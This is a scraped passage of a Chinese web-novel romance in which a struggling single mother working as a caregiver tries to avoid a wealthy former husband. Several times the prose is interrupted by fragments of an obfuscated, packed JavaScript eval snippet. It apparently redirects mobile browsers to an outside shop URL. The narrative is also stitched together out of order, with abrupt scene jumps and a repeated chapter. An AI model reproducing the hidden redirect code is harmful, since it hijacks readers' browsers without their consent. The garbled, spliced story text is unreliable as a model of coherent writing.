看完这条信息后,乔眠呼出一口浊气。 刚才在礼堂门口,她没看错,霍宴北的确看到她了。 罢了。 反正她现在已经懒得再跟他装了。 走一步看一步吧。 她没有回答他的问题,发了一条嘲讽味很浓的信息,【霍总还真是胆大,当着霍太太的面,都敢跟别的女人私聊,就不怕自己的妻子不高兴?】 消息发出去后,乔眠低着脑袋,将手机塞进包里,准备起身离场。 想着等校庆晚宴,寻个机会见一见孙教授。 今天宋蔓也在,她的存在,很尴尬。 也不想跟宋蔓加深矛盾。 虽然,无论她退让与否,宋蔓早就视作她为仇敌。 不,六年前就恨不得她消失在这个世界上。 然而,她攥着包带,刚准备起身时,一道低沉好听的男人嗓音从头顶传来,“乔律师这是又要躲去哪儿?” 乔眠还以为自己幻听了。 身体下意识僵了两秒后,猛地一抬头,就对一双深邃如古井般的黑眸。 霍宴北一身黑色高定西装,身姿修长的站在身旁的过道上。 五官冷峻,眉眼间却含着一丝淡若拂风的笑意。 “你疯了?” 乔眠脸上的表情由怔愣转为震惊,嗓音压的很低,惶恐不安的瞪了他一眼。 仓惶起身时,霍宴北抬手,轻压在她肩上,迫使她又不得不坐了回去。 紧接着,男人一屁股坐在了她旁边靠过道的位置上。 同时,大长腿一伸,挡住了再次站起来,要逃离出去的乔眠。 “还怕不够引人注意?” 霍宴北歪头,冲着她勾唇笑了一下。 乔眠这才看到她坐的最后一排,一整排人齐刷刷的看着她。 因为她站着,显得格外显眼。 还惹来了前排一些人频频回头关注。 虽然不知道交头接耳议论了什么。 但用脚趾头都能想到,无非是各种揣测堂堂霍氏集团总裁和她的关系。 乔眠一瞬间脸颊爆红,慌忙坐下后,抬脚,狠狠踩在霍宴北干净到一尘不染的皮鞋上。 “你干嘛过来?也不怕被拍传到网上挂热搜?” 乔眠不安的攥紧手指。 想开口问他怎么知道她的名字时,却发现喉咙梗塞的说不出话来。 她再一次失声了…… 乔眠惊住。 见她总是闷不吭声的,霍宴北略有些不耐的将手里的毛巾丢到她头上:“进来。” “唔……” 乔眠呼吸一滞的嘤咛一声,拽下脑袋上的毛巾时,他已经率先走进了里间。 见他公事公办的态度,她波澜起伏的心绪才稍微平静一些。 他没有认出她。 不是刻意点名让她来陪护的…… 乔眠心里自我安慰,强逼着自己镇静下来。 她越是慌乱不安,只会越让他觉得奇怪。 她咬了咬牙。 心想,撑过这半天,她就跟孟大姐提出换人。 她将口罩往上拽了拽,这才慢吞吞的走进里间。 进屋后,发现整间卧室,布置的像一个办公室。 电脑桌上堆满了文件。 此时,他正站在落地窗前打电话。 说的是工作方面的专业术语。 神情严肃,语气低沉。 单是听着那语气,就让人不寒而栗。 乔眠走到病床前,从床尾取下病志本,仔细翻看了一遍。 肺部发炎引起的重症感冒。 乔眠知道这病可大可小。 女儿去年就是因为肺部感染引起的感冒,高烧反复,在儿童医院住了快一个月。 想到这里,她从口袋掏出一个崭新的口罩戴上。 然后,拿出酒精消毒水,清洁完双手后,将自己从头到脚消了一遍毒。 肺炎会传染的。 她要是中招了,回去后,再传染给孩子们怎么办。 “你在嫌弃我?” 打完电话的霍宴北走过来,看到她又戴了一层口罩,身上喷的消毒水把自己都呛的直咳嗽时,不由得蹙了蹙眉。 乔眠张了张嘴,还是说不出来话,只好打手语解释:【注意卫生,是我的本职工作。】 霍宴北抱着双臂,好整以暇的盯着她的眼睛:“所以,你是嫌我脏,每次看到我才不说话的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264624|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……” 她很想说,自己是因为看到他,才变成哑巴的…… 但是,她知道,她说了,他也不会相信。 他一向高高在上强势霸道,在他面前,解释,就是狡辩。 只会招惹他不快。 还不如沉默。 见她仍是不说话,霍宴北意味深长的看着她:“我饿了。” 乔眠打手语:【你想吃什么?我去食堂买。】 “我不吃食堂饭。” 乔眠:【我去外面买。】 “你来做。” 乔眠咬了一下唇,点头。 看着她离开时的纤细身影,霍宴北神情有些恍惚。 她那双眼睛,真的很熟悉。 …… 乔眠关上厨房门后,按着噗通噗通乱跳的心脏,蹲在了地上。 她拽掉口罩,大口呼吸着。 好像刚从魔窟逃出来一样。 他不是结婚了吗? 生病住院,他妻子宋蔓怎么没来照顾他…… 想到这里,她使劲拍了拍脸颊。 告诫自己清醒一些。 六年前,她已经‘死’了。 霍宴北的世界,与她无关。 整理好情绪后,她洗干净手,开始做早餐。 他这病,只能吃清淡的。 霍宴北对吃的很挑剔。 为了照顾他的口味,以前,课业不忙时,她会闷在厨房变着花样给他烧菜。 久而久之,他只爱吃她做的饭菜。 在霍家那两年,他无论在公司,或是在外地出差,只要他说,想吃她做的饭了,无论再远,她都会奔赴过去,为他洗手作羹汤。 没想到时隔六年,再次成了她的保姆。 四十分钟后,她端着一碗粥和两碟小菜,送去了卧室。 此时,霍宴北已经换了一身休闲装。 黑色高领毛衣,有些修身,紧实健硕的腹肌隐隐凸显。 黑色呢料长裤,愈加衬得他身姿修长。 头发刚刚吹过,蓬松的趴在额前,柔和了男人过分冷峻严肃的面孔。 尤其是,他戴着金丝边框眼镜时,禁欲又沉稳。 他正在翻阅文件,听到她进来的动静,低着头没看她,修长的手指,轻声叩了一下桌子。 第209章 进错房间 乔眠心领神会,将托盘上的早餐放在他面前。 他垂眸扫了一眼,眉头微拧:“我不吃荤。” “……” 乔眠知道。 所以,她故意加了肉丝。 “我对虾过敏。” “……” 她也知道。 所以,她放了虾仁。 霍宴北的饮食习惯和生活习性,她比谁都了解。 她只是不想表现出很了解他的样子。 不然,他会起疑的。 他拿起筷子,尝了一口小菜后,额头青筋一跳。 “很咸,还辣。” 乔眠打手语:【抱歉,我不清楚您的饮食习惯,要重做吗?】 “不必了,你根本不会做饭。” 【那你想吃什么,我出去买。】 霍宴北见她一直打手语,起身走到她面前,有些烦躁的盯着她的眼睛:“为什么不开口说话?” 【我嗓子不舒服。】 “你为什么会手语?” 他咄咄逼问。 乔眠紧张的绞紧手指:【因为我丈夫是听障人士。】 霍宴北神色微微一怔后,忽然附身,盯紧她的眼睛问:“你好像对我能看懂手语,一点儿都不奇怪。” “……” 乔眠咬唇。 百密一疏。 男人见她又沉默了,意味深长的盯着她看了一会儿后,没再理她,坐下来继续忙工作。 乔眠端着那份早餐出去时,正好看到陈珂提着一个公文包走了进来。 她对陈珂很熟悉。 以前,有时候霍宴北在外地出差,有那方面需求时,会让陈珂去学校把她接出来,送到他身边。 半夜,或者第二天再把她送回学校。 那几年,在霍家,除了霍宴北,她最熟悉的人就是陈珂。 “二爷没吃早餐吗?” 陈珂扫了一眼她端着的托盘上原封不动的早餐,问。 乔眠表情平静的打手语:【他嫌我做饭不好吃。】 陈珂看到她打手语时,着实一愣。 怪不得二爷对她格外注意了。 之后,陈珂打了一个电话,很快就有人送来了一份早餐。 乔眠整理干净厨房后,去护士站,要了一份他今天的用药清单。 等霍宴北用完早餐,半个多小时后,她将药拆开,分配好用量装进药盒,将一杯水一并放在他面前,提醒他吃药。 霍宴北吃完药后,护士过来给他扎针输液。 乔眠将一个电子体温计在他耳边轻轻放了一下。 38度五。 她在病志本上做好记录。 她尽职尽职的低头忙着。 霍宴北吩咐她把笔记本电脑拿给他之后,没再跟她有任何交流。 踮着脚换药时,护工服随着她的动作幅度,衣摆掀起,露出一截小腰。 腰,细软盈盈。 干净的像泛着冷光的绸缎。 白的晃目。 霍宴北挪开微灼的目光,落回电脑上,问了一句:“你多大了?” 刚才,她提及丈夫…… 可她看起来,也就二十出头。 已经结婚了吗? 乔眠没想到他会问个人隐私问题,微垂眼睫,有些困惑的看着他。 他掀起眼皮,也看着她。 两人目光对上。 乔眠表情局促的最先错开视线,回道:【二十七岁。】 她多说了一岁。 霍宴北收回目光,没再多问。 乔眠捉摸不透他在想什么。 总觉得,他像是在试探什么…… 输完液,已是中午。 她上午的看护工作已经结束。 现在是午休时间。 准备离开时,霍宴北忽然朝她伸手:“手机给我一下。” “……” 乔眠不不确定他想做什么。 不想给。 但是,他的目光逼匛,带着一种不容置喙的强势和威压。 只是微沉的一个眼神,以前每每在他面前,那种刻进骨子里的顺从,让她条件反射的比脑子先作出了反应。 手机递给了他。 看着有几道裂痕的手机屏幕,男人深冷的眸底闪过一抹复杂的情绪。 滑开手机,拨通了他自己的手机。 铃声响起,他切断电话:“你是我的陪护,我需要随时能联系到你。” “……” 乔眠蹙眉。 这个说辞,有些生硬。 但好像从他这种霸道强势的人嘴里说出来,又并不违和。 或许是她过于敏感了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270875|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍宴北把手机还给她时,瞥到一条跳到屏幕上的消息:【这款限量版男士Ls手帕巾,只卖两千?是不是假货啊?】 男人眼神微微一滞,装作没看到,将手机还给了她。 乔眠接过手机,塞进口袋,出了病房。 这时,陈珂开口道:“二爷,她不是会说话吗?为什么一直打手语?” 霍宴北专注盯着微信头像,漫不经心地回了一句:“你问她。” “难道是显得自己很特别,为了引起你的注意?” 毕竟,这些年,变着花样想爬二爷床的女人比海里的鱼都多。 除了一些世家千金,还有些名媛培训班出来的捞女,想尽办法打听二爷的喜好后,专门投其所好。 “她不是。” 沉默片刻后,霍宴北回了一句。 “您为何这么肯定?” “她结婚了。” “她那面相……看着也不像啊。” 陈珂小声嘟哝了一句,询问:“二爷,那您还要继续见她吗?” 男人疲惫的摁了摁眉心:“她不是阿妩,阿妩做饭不会那么难吃。” “那个小护工的确不可能是霍妩小姐,毕竟霍妩小姐耳朵听不见,也不能开口说话……” 还有胖瘦不同这点,陈珂没胆说出来。 但是,二爷对霍妩小姐的死,执念太深。 …… 乔眠在医院食堂吃了一碗面,回到员工休息室。 她刚在下铺坐下来,周眉挤了过来:“小乔,听说你今天陪护的是VIP病房的雇主,怎么样?是不是那种难伺候又很有钱的老头?” 乔眠轻轻扯了扯唇角:“是一个年轻有颜多金的太子爷。” 语落,她摸了摸喉咙。 她又能开口说话了…… “我才不信呢!” 周眉嗔怪的瞅了她一眼,“那种年轻帅气的有钱人,上赶着追在屁股后面等伺候他的女人一抓一大把,怎么可能会找我们这种小护工?肯定是个丑老头。” 乔眠语气没什么起伏的回道:“是真的。” “哎呦,周眉,人家小乔说的是真的。” 王大姐插了一句嘴,“我听护士说,1101住的可是京圈最有钱有势的霍家二少。” 第210章 曝光了 “哎呦,周眉,人家小乔说的是真的。” 王大姐插了一句嘴,“我听护士说,1101住的可是京圈最有钱有势的霍家二少。” 周眉一听,眼睛都直了:“小乔,你陪护的病人真的霍少?” “嗯。” “天呐,那可是顶级豪门的霍二少啊,那颜值、身材,甩男明星一条街好不好。” 周眉双眼冒红心的晃着乔眠的胳膊:“小乔,好羡慕你呀。” “既然你喜欢,要不,我们换一下?” 乔眠问。 周眉怔住。 其他人也都愣住了。 周眉不敢置信的眨着眼睛问:“小乔,你真的愿意跟我换?” “嗯,愿意。” “那……那太好了!” 周眉激动的快蹦了起来。 “等会孟大姐来了,我就跟她说,我们调换一下。” “好。” “小乔,你可别后悔哦。” 周眉唯恐她反悔,提醒了一句。 乔眠淡笑,“不会。” 两人商量好了,但是,周眉跟孟大姐提说互换陪护一事后,被狠狠骂了一顿。 周眉抹着眼泪:“小乔都同意了啊。” 孟大姐气得差点心梗:“她是新来的不懂规矩,你都是干了三年的老人了,会不懂换陪护,得问雇主同不同意?” 周眉心虚的抿了抿嘴,不敢说话了。 孟大姐哼了一声,看向乔眠。 本想发火的,但犹豫了一下,耐着性子询问,“小乔,你为什么想跟周眉换班?” 乔眠声音平静:“我只是单纯不想陪护1101病床的病人。” “不想?” 孟大姐气笑了,“你就一个兼职小护工,分配你干啥就干啥,哪来那么多屁事?马上两点了,下午你继续陪护1101病床。” 乔眠态度依旧平和:“抱歉,我真的陪护不了,麻烦你能不能帮我换到其他病房?苦点累点都行。” 孟大姐是个急脾气,最不喜欢不服管的。 听乔眠这么说,当即发了火:“那你就别干了!” “嗯,我不干了。” 乔眠容色平静,态度坚定。 从始至终,不吵不闹,情绪稳定的吓人。 孟大姐气得脸都白了,但面对乔眠冷静的性子,愣是哑火了。 若不是1101病床点名让她去陪护,这好事哪儿能轮到她一个新人头上? 那可是京圈太子爷霍二少,多少女孩想尽办法都爬不到跟前瞧上一眼,她得了美差,干了半天就不干了? 脑子有病吧? 此时,乔眠换下了护工服,叠的整整齐齐的放在了桌子上,礼貌客气的朝她颔首:“孟大姐,多谢您这些日子的照顾。” 说完,挎上包,转身走了。 “她……她这就不干了?” 孟大姐还处于一脸震惊中。 不敢置信的问其他人。 “唉,小乔这姑娘平时看着文文静静的,没想到性子倒是挺刚的,孟大姐,强摁的牛不喝水的呦,算了吧。” 王姐说了一句,拎起茶壶上工去了。 其他人小声议论了几句,也走了。 周眉没走,搓着手问:“孟大姐,既然小乔不干了,那我是不是可以顶替她陪护1101病床?” “你?” 孟大姐嫌弃的瞪了她一眼。 不过,最后,犹豫了一下,摆了摆手:“那你去试试吧。” “好嘞!” 周眉高兴的哼起了歌。 精心打扮之后,欢喜的去了1101病房。 只是,进去不到两分钟,就哭着跑了出来。 “二爷,已经确认过,乔眠辞职了,已经离开了医院……” 陈珂汇报。 霍宴北敲击键盘的动作停下来,摘掉眼镜,随手搁在桌上。 挺括的脊背沉靠座椅里,语气不冷不淡:“她似乎很怕我。” 陈珂抓了抓额头,“二爷,您平时严肃惯了,别说公司里的高层见了您都直打哆嗦,何况小姑娘呢。” 霍宴北嗤笑一声:“所以……她是因为怕我才不干的?” “我觉得是,您看,刚才新来的那个小护工,您一句话就把人给吓走了。” 刚才周眉进来,还未自报姓名,二爷就沉着脸,让人滚了。 “她的陪护费还没结算。” 说着,他打开手机看了一眼。 微信依旧没有通过好友申请。 虽然确认过,她不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270876|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍妩。 可是,每次看到她那双眼睛,总有一种莫名的熟悉感。 再一次看微信时,对方还是没有通过他的好友申请,霍宴北下载了一个二手交易APP。 输入Ls这个品牌。 很快就搜索出来几款正在售卖的衣物配饰。 这个品牌出品都是限量版高定,卖家很少。 随便一翻,就找到了正在售卖中的一款手帕巾。 翻看完店家拍摄的几张生图后,他确定这条手帕巾,就是他昨天递给乔眠那条。 之所以笃定,是因为拍摄的商品展示图里露出了一只包。 包上挂着一个毛茸茸的兔子挂坠。 这只包,就是乔眠走的时候还挎着的包。 她居然把他随手给她的手帕巾挂在了二手平台。 似乎很缺钱…… 霍宴北沉默片刻后,注册了一个买家号:想给她买蛋糕的哥哥。 最后,把那条手帕拍了下来。 他不是善人,唯独见不得任何一个像阿妩的女孩,受苦。 就像有强迫症一样,总觉得他的阿妩在受苦一样。 …… 乔眠并不后悔辞去护工这份工作。 和霍宴北再遇,完全打破了她平静的日子。 尤其是这三次相遇,他无意或是刻意的靠近,让她精神饱受**。 而且,遇到他,她就变成了哑巴…… 若不是有不得已回京市的理由,她会带着孩子们去任何一个城市,都不会回京市…… 下午学校没有课,难得清闲小半天。 回到出租屋后,见阳光正好。 她将被褥抱到楼顶,搭在架子上晾晒。 忙完后,靠在躺椅上眯了一会儿。 醒来时,已是五点。 十一月底,天色暗下来的早。 此时,天边大片夕阳倾洒下来。 乔眠醒了醒神后,起身走到栏杆前,望着远处,神思恍惚又焦虑。 失去一份兼职,她得重新再找一份工作才是。 她现在的日子,不允许自己有喘息的机会。 偷得半日闲,亦是奢侈。 打开手机,准备登录招聘软件,再投一波简历时,却看到二手App跳出两条未读消息。 第211章 回霍家 直接忽略掉那条质疑真假货的消息,她目光定定的看着系统提示‘请及时发货’的提示消息。 到底是高奢品牌,遇到识货的行家,那条手帕才一天就卖出去了。 乔眠点开聊天界面,留言:“不好意思,这条手帕不卖了……” 那天,因为被他捏疼了脸,带着情绪才将手帕挂到了二手平台。 虽然,她很缺钱。 但是,偷偷把霍宴北的东西挂出去卖掉,她心里很不舒服。 就像偷拿了他的钱一样。 虽然,以她现在的情况,尊严或是清高,和钱比起来,钱更重要,但若是换作对方是任何一个人,她或许真的就把这条手帕卖了。 但,对方是霍宴北。 是她最不想牵扯的人。 为了避开他,她连工作都辞了。 既然要避,就要干干净净的不留余地。 等了两分钟,对方没有回复,她收起手机,去幼儿园接孩子了。 回来的路上,去菜市场买了肉和菜。 还有一条鱼。 “乔眠女士,你是过完今天,明天不打算过了吗?” 爬楼梯时,乔慕城接过她其中一只手里提着的袋子,撅着小嘴问。 被卸下一部分重量,乔眠抬手擦了擦鬓发沁出的汗意,歇了一口气后,轻柔扒拉了一下儿子的脑袋,“今天妈妈难得有时间,就想给你们做点好吃的。” “又乱花钱……” 乔慕城嘟哝了一声,动作笨拙的提着一袋子菜,走在她前面。 像个小大人似的,催促刚刚爬到五楼的弟弟妹妹:“快点啦!” 说完,噔噔噔的往上跑。 “慢点。” 乔眠轻声叮嘱。 大宝这孩子,虽然嘴上说话硬邦邦的,其实,心里柔软贴心的很。 帮她提袋子还这么傲娇。 到屋后,她去楼顶把被子收回来,将床重新铺好,去厨房做饭了。 她做了孩子们最爱吃的菜。 “妈妈,你做的饭菜好好吃哦。” “是嗷,妈妈这厨艺可以当厨师啦。” 乔慕心和乔慕野夸赞妈妈时,乔慕城冒出一句话:“厨艺好,算什么好事?辛苦受累的大怨种而已。” “啊?” 正在啃排骨的乔慕心,瞬间觉得嘴里的肉肉不香了。 她蹭到乔眠怀里,“妈妈,以后我们吃简单点就行,不需要做那么多菜的。” 乔慕野:“这么多菜,要多花掉好几天饭钱呢。” “傻宝们,妈妈真的不辛苦……” 乔眠欣慰孩子们的懂事,嫣然笑着。 眼角却泛着潮湿。 想到当年,她想尽办法要打掉孩子时的决然,心里有些内疚。 若不是身体原因,做不了流产手术,她是不会留下孩子的…… 饭后,乔眠陪着孩子们完成老师布置的手抄报后,打开笔记本电脑,在招聘网站上浏览招聘信息。 乔慕城心思敏睿,总能第一时间察觉出她的异常。 “妈妈,你今天晚上不用出去吗?” 乔慕城走到她身边,探着脑袋,想看她在忙什么。 平时,这个点,妈妈都在外面兼职。 今晚没出去,不对劲。 乔眠不想跟孩子撒谎,柔声回道:“妈妈不在医院做兼职了,现在正在投简历,准备换一份新的工作。” 乔慕野拉着妹妹跑了过来:“妈妈是被同事欺负了,才辞职的吗?” 乔慕心一脸担忧:“妈妈,你没事吧?” 乔眠将笔记本电脑放在茶几上,弯着眉眼,将三个小宝搂进怀里:“妈妈没事,妈妈只是想换一份薪水高一点的工作。” 乔慕野:“这次,妈妈是不是就能当律师了?” 乔慕城:“干嘛非得是律师,妈妈喜欢做什么就做什么。” 乔慕心:“我希望妈妈找一份不累的工作,老板最好是颜值超高的帅叔叔。” 乔慕城和乔慕野,没眼看的刮了妹妹一眼,“花痴。” “哼,我才不是花痴!爸……” “乔慕心!” 乔慕城和乔慕野一人捏住她一边脸颊,打断了她呼之欲出的‘爸爸才是花痴’这句话。 妈妈不喜欢他们提爸爸…… 乔慕心意识到自己的嘴巴差点闯祸,心虚的扮了个鬼脸跑开了。 乔慕城和乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277749|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慕野在后面追,故意吓她。 “哇啊,妈妈,哥哥们追杀我。” “乔慕心,你长点心吧……” “妈妈,哥哥们好凶哦,长大以后肯定不讨女孩子喜欢。” 乔慕心躲到妈妈怀里,还跟哥哥们斗嘴。 乔慕城无语。 乔慕野腼腆笑笑,没跟妹妹计较。 乔眠看着嬉闹的小宝们,感觉心里轻快多了。 也没那么焦虑了。 乔慕心跑的呼哧呼哧喘着气,又把哥哥们的警告抛诸脑后了:“妈妈,如果我们有爸爸的话,妈妈是不是就不会这么辛苦了?” “……” 乔眠表情微微一僵。 这些年,她从未主动在孩子们面前提过他们的爸爸。 有时候,孩子们主动问,她都是避而不答。 时间长了,孩子们也就没再问过。 此时,望着女儿提及爸爸时期待又好奇的小表情,乔眠一时语塞。 最后,依旧并没有正面回答问题。 “有你们三个这么乖的宝贝陪着妈妈,妈妈一点儿都不辛苦,妈妈一个人可以照顾好你们的。” “好啦,别打扰妈妈了。” 乔慕城一把拉走妹妹,跟乔慕野使了个眼神,一起去了卧室。 客厅只剩下乔眠一人时,她从包里拿出那条手帕。 依稀还能闻到上面散发着一股幽淡的草木香。 这香,不是名贵的香水。 是霍宴北曾经眼睛失明那段时间,她四处求医问药,从一个老中医那里买来的中药熏香。 有安神明目的效用。 以前,霍宴北每晚睡觉时,她都会点上这种熏香。 祈祷对他复明有帮助…… 后来,他用习惯了。 她就求来了这个药方,自己买中药材配制成香。 没想到,这么多年过去了,他依旧在用这款香…… 手帕在指间一点点攥出褶皱。 她静静地发了一会儿呆,把手帕叠整齐,装进一个干净的收纳袋。 点开同城跑腿,预约了明天上午9:00上门取件。 刚准备搁下手机时,二手app弹出来一条消息。 第213章 孩子们知道了爸爸 乔慕心跑的太急,撞到一个人,差点一屁股坐在地上时,被一双修长的大手拽住了小胳膊。 看清楚粉乎乎的小女孩时,霍宴北愣了一下后,急忙蹲下身体,握着她一双小胳膊上下检查:“没撞到吧?” “没有哦,霍叔叔,你也来这里吃饭吗?” 乔慕心仰着软乎乎的小脸问。 “嗯……” 霍宴北抬手揉了揉她的小脑袋,温声问道,“你跟妈妈一起来的吗?” 说着,站起身,目光在餐厅中搜寻乔眠的身影。 “我妈妈在那里哦。” 乔慕心抬手指了指,正好这时,乔慕城和乔慕野走了过来,“乔慕心,让你在卫生间门口等着,你又乱跑!” “哥哥,我错了……” 乔慕心瘪着小嘴儿认错,刻意往霍宴北身旁躲了躲。 “霍叔叔,你怎么也在这里?” 乔慕城看到霍宴北,拉着弟弟走过来,脸上难掩喜悦,你跟我妈妈是约好的吗?” 乔慕野扯了一下他的衣角问。 霍宴北只是浅浅笑了下,“走,叔叔带你们找妈妈。” 乔眠跟藜音正聊的火热,压根没注意到三个小宝的情况。 当看到霍宴北抱着乔慕心,牵着乔慕城和乔慕野走过来时,吓得脸都白了。 藜音也是。 “你约的他?” 藜音暗戳戳问。 乔眠紧忙摇头,“我怎么可能约他?” 说罢,起身道,“霍总,好巧,你也来这里吃饭……” 说着,朝乔慕心眨眼睛,“心心,不可以这么不礼貌,快下来。” “哦……” 乔慕心蛄蛹了一下,霍宴北顺势把她放在面前的空位上,然后直接牵着乔慕城和乔慕野走到里面的位置坐了下来。 “不介意一起吃吧?” 男人询问的语气,但已经顾自拿起餐具,一点儿没客气,先是夹了一只大虾放在了孩子的碗里。 乔眠慌的厉害,但面上故作镇静的客气了一句:“如果霍总不嫌弃的话,请便。” 霍宴北挑眉,“对了,乔小姐的包在我那里,有空取一下。” 乔眠:“……” 她这才想起来那晚,把包忘在他车上一事。 …… 翌日。 霍氏集团。 乔眠刚走出电梯,就看到陈珂正站在电梯外面。 应该是来接她的。 来之前,她打过电话。 陈珂:“霍总还在开会,你跟我先去办公室等他。” 说着,抬步朝前走去。 乔眠,“陈特助,我就不进去了,烦劳你帮我把包拿过来给我,可以吗?” 陈珂诧异的眼神看着她。 这个女人前些天还在打听霍总的个人隐私,意图上位。 现在是她接近霍总的大好机会,怎么还矫情上了? 欲情故纵? “可以吗?” 乔眠再次询问。 陈珂本想答应的。 毕竟,取包,不是什么大事。 但是,想到开会之前,霍总叮嘱过,务必要把乔眠带到办公室…… “我不知道你的包放在哪儿,你还是当面问霍总要吧。” 陈珂昧着良心撒谎。 “应该在他办公室。” 陈珂一副为难的表情:“我可不敢私自乱翻霍总的办公室。” 话都说到这个份上了,乔眠只好硬着头皮,跟着他进了总裁办公室。 只是一进门,就愣住了。 这间办公室,是六年前霍宴北刚进入霍氏集团实习,还只是总监时,用过的一间办公室。 没想到,现在改造成了总裁办公室。 “乔小姐,你先坐一会儿,霍总正在开完,等一会回来。” 陈珂倒了一杯水,递给她。 然后,指了指旁边的沙发,招呼她坐下。 乔眠却在看到那张熟悉的真皮沙发时,脸颊蓦地一红。 同时,两人曾经在这张沙发上的一些画面窜入脑海。 她接过水杯,喝了一口水,“我站着就行。” 陈珂怪异的眼神瞅她一眼,没说什么。 只是叮嘱她别乱跑,然后接了一个电话就出去了。 乔眠等了许久,霍宴北才回来。 他看起来很疲惫,走进来在沙发上坐下后,点了一支烟,“找我有事?” 乔眠不想跟他废话,直接说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283501|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“麻烦霍先生把我的包还给我。” 见她果真只是来拿包的,霍宴北蹙了蹙眉,薄唇溢出两个冰冷的字眼:“等着。” 说完,转身去了休息室。 乔眠这才放松的舒了一口气。 她实在做不到在他面前不紧张。 这次,霍宴北并没有为难她,从休息室出来后,把包递给她,“下次别再丢三落四了,我可没那个闲工夫替你看管包。” 乔眠忙道,“多谢霍总,下次一定不会再麻烦您了。” 说完,准备走时,霍宴北问道,“对了,上次给你的钱,为什么不收?你不是很缺钱?” 乔眠蹙眉,但面上很好的掩饰掉了不好的情绪,“我是缺钱,但霍总给的钱,我不是会要的。” 说到这里,反问道,“霍总是慈善家吗?对谁都这么慷慨吗?” 被怼了一句,霍宴北脸色有些难看,倒是对她更加新鲜好奇了。 “小嘴儿倒是厉害。” 乔眠扯了下唇角,“今天打扰了,我先走了。” 从霍氏集团出来后,乔眠第一时间从包里取出自己的手机。 仔细查看后,终于松了一口气。 她屏锁设置了密码,还好没有解锁她的手机,里面一些加密文件也没有被动过的迹象。 看时间不早了,她朝地铁口走去。 而此时,霍沉又来找霍宴北了。 “小叔,我跟太爷爷解释了,是我主动从集团离职的,我根本就不喜欢那种枯燥无趣的工作。” “还是开酒吧好,你之前给我投资的酒吧现在已经筹备的差不多了。” 霍宴北不耐烦摁了摁眉心:“说完就滚。” “我还没说完呢。” 霍沉没心没肺的笑笑:“小叔,等酒吧开业的时候,你可得去给我撑撑场子啊。” 听到这句话,男人冰冷的俊脸,有一丝动容:“听说你在找举报你酒吧的人?” “对啊,让我找到那个人的话,我一定弄死他。” “滚。” “……” 霍沉迷茫。 不懂又踩到小叔哪个雷点了。 不过,还是慌忙抬起屁股滚了。 第213章 孩子们知道了爸爸 乔慕心跑的太急,撞到一个人,差点一屁股坐在地上时,被一双修长的大手拽住了小胳膊。 看清楚粉乎乎的小女孩时,霍宴北愣了一下后,急忙蹲下身体,握着她一双小胳膊上下检查:“没撞到吧?” “没有哦,霍叔叔,你也来这里吃饭吗?” 乔慕心仰着软乎乎的小脸问。 “嗯……” 霍宴北抬手揉了揉她的小脑袋,温声问道,“你跟妈妈一起来的吗?” 说着,站起身,目光在餐厅中搜寻乔眠的身影。 “我妈妈在那里哦。” 乔慕心抬手指了指,正好这时,乔慕城和乔慕野走了过来,“乔慕心,让你在卫生间门口等着,你又乱跑!” “哥哥,我错了……” 乔慕心瘪着小嘴儿认错,刻意往霍宴北身旁躲了躲。 “霍叔叔,你怎么也在这里?” 乔慕城看到霍宴北,拉着弟弟走过来,脸上难掩喜悦,你跟我妈妈是约好的吗?” 乔慕野扯了一下他的衣角问。 